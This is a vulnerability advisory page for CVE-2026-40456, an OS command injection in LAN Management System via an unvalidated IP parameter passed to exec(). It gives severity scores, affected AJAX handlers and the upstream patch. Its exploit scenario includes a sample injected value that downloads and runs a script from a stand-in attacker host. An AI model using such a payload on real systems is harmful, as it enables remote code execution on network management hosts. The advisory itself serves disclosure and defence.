Skip to main content

LMS CVE-2026-40456

| EUVDEUVD-2026-37875 HIGH
OS Command Injection (CWE-78)
2026-06-18 CERT-PL GHSA-765c-7qf8-cw9w
Command Injection Lms
8.6
CVSS 4.0 · Vendor: CERT-PL
Share

Severity by source

Vendor (CERT-PL) PRIMARY
8.6 HIGH
CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.0 HIGH

Adjacent management network access plus an authenticated low-privileged LMS operator account are required; once reached, exec() injection yields full host compromise with no user interaction.

3.1 AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N

Primary rating from Vendor (CERT-PL).

CVSS VectorVendor: CERT-PL

CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 18, 2026 - 12:31 vuln.today
Analysis Generated
Jun 18, 2026 - 12:31 vuln.today

DescriptionCVE.org

An OS Command Injection vulnerability exists in LMS (LAN Management System) before commit 9fcb4de due to an IP address parameter being passed to the "exec()" function without proper validation, allowing attackers to execute arbitrary operating system commands.

AnalysisAI

OS command injection in LMS (LAN Management System) before commit 9fcb4de allows authenticated adjacent attackers to execute arbitrary operating system commands by supplying a malicious IP address parameter that is passed unsanitized to exec(). The flaw was reported by CERT-PL and an upstream fix is available; no public exploit identified at time of analysis, and the CVSS 4.0 score of 8.6 reflects high impact on the vulnerable system with limited subsequent-system effect.

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to LMS as operator
Delivery
Reach netdev/node AJAX endpoint on adjacent network
Exploit
Submit IP field with shell metacharacters
Execution
exec() runs injected command
Persist
Code execution as web server user
Impact
Pivot into ISP management infrastructure
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated LMS operator session (CVSS PR:L) with permission to invoke the netdevxajax getFirstFreeAddress or nodexajax updateNodeLock handlers, and network reachability to the LMS web interface from the same adjacent/management network (CVSS AV:A) - typical internet exposure of LMS is uncommon. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N indicates an adjacent-network attacker with low privileges (an authenticated LMS operator account) can fully compromise the host running LMS without user interaction, which matches the source-code evidence that the vulnerable handlers are AJAX endpoints reachable only from authenticated UI sessions. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a low-privileged LMS operator account on the management network opens the network-device or node management UI and submits a crafted IP-address field (for example '127.0.0.1; curl attacker/x|sh') to the getFirstFreeAddress or updateNodeLock AJAX endpoint. Because the $ip parameter is concatenated into a shell command and passed to exec() without validation, the injected commands run as the web server user, yielding arbitrary code execution on the LMS host. …
Remediation Upstream fix available (commit 9fcb4de); released patched version not independently confirmed - apply the upstream patch https://github.com/chilek/lms/commit/9fcb4de19b7d76394898dbc124252b86b07ac0ed or upgrade to any LMS build that includes it, which adds check_ip($ip) validation to getFirstFreeAddress() and updateNodeLock(). … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours: Inventory all LMS deployments and identify which versions are affected (prior to commit 9fcb4de). …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Lms

View all
CVE-2018-1000535 HIGH POC
7.5 Jun 26

lms version <= LMS_011123 contains a Local File Disclosure vulnerability in File reading functionality in LMS module tha
CVE-2026-39405 CRITICAL
9.4 May 20

Path traversal in Frappe Learning Management System (LMS) versions 2.50.0 and below allows authenticated users with cour
CVE-2026-40455 HIGH
8.6 Jun 18

Error-based SQL injection in LMS (LAN Management System) before commit 4cb30a7 allows authenticated attackers to extract
CVE-2026-27404 HIGH
7.1 Jul 02

Reflected Cross-Site Scripting in the designthemes LMS WordPress theme (versions 9.7 and earlier) allows unauthenticated
CVE-2026-34606 MEDIUM
6.9 Apr 02

Stored cross-site scripting (XSS) in Frappe Learning Management System versions 2.27.0 through 2.47.x allows unauthentic
CVE-2026-39415 MEDIUM
5.3 Apr 08

Frappe Learning Management System versions prior to 2.46.0 allow authenticated students to modify their own quiz scores

CVE-2024-25270 MEDIUM
4.3 Sep 12

An issue in Mirapolis LMS 4.6.XX allows authenticated users to exploit an Insecure Direct Object Reference (IDOR) vulner
CVE-2026-40457 LOW
2.1 Jun 18

Reflected XSS in LAN Management System (LMS) before commit 9c5651b allows network-positioned attackers to inject arbitra
CVE-2026-46546 LOW
2.1 Jun 09

Metadata injection in Frappe LMS prior to version 2.53.0 enables authenticated users to embed crafted content into user-

Same weakness CWE-78 – OS Command Injection

View all
CVE-2014-6271 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0
CVE-2025-64328 HIGH POC
8.6
CVE-2014-7169 CRITICAL POC
9.8
CVE-2017-6884 HIGH POC
8.8
CVE-2017-6077 CRITICAL POC
9.8

Same technique Command Injection

View all
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2015-2051 HIGH POC
8.8
CVE-2014-6278 HIGH POC
8.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0
CVE-2025-64328 HIGH POC
8.6

Share

CVE-2026-40456 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy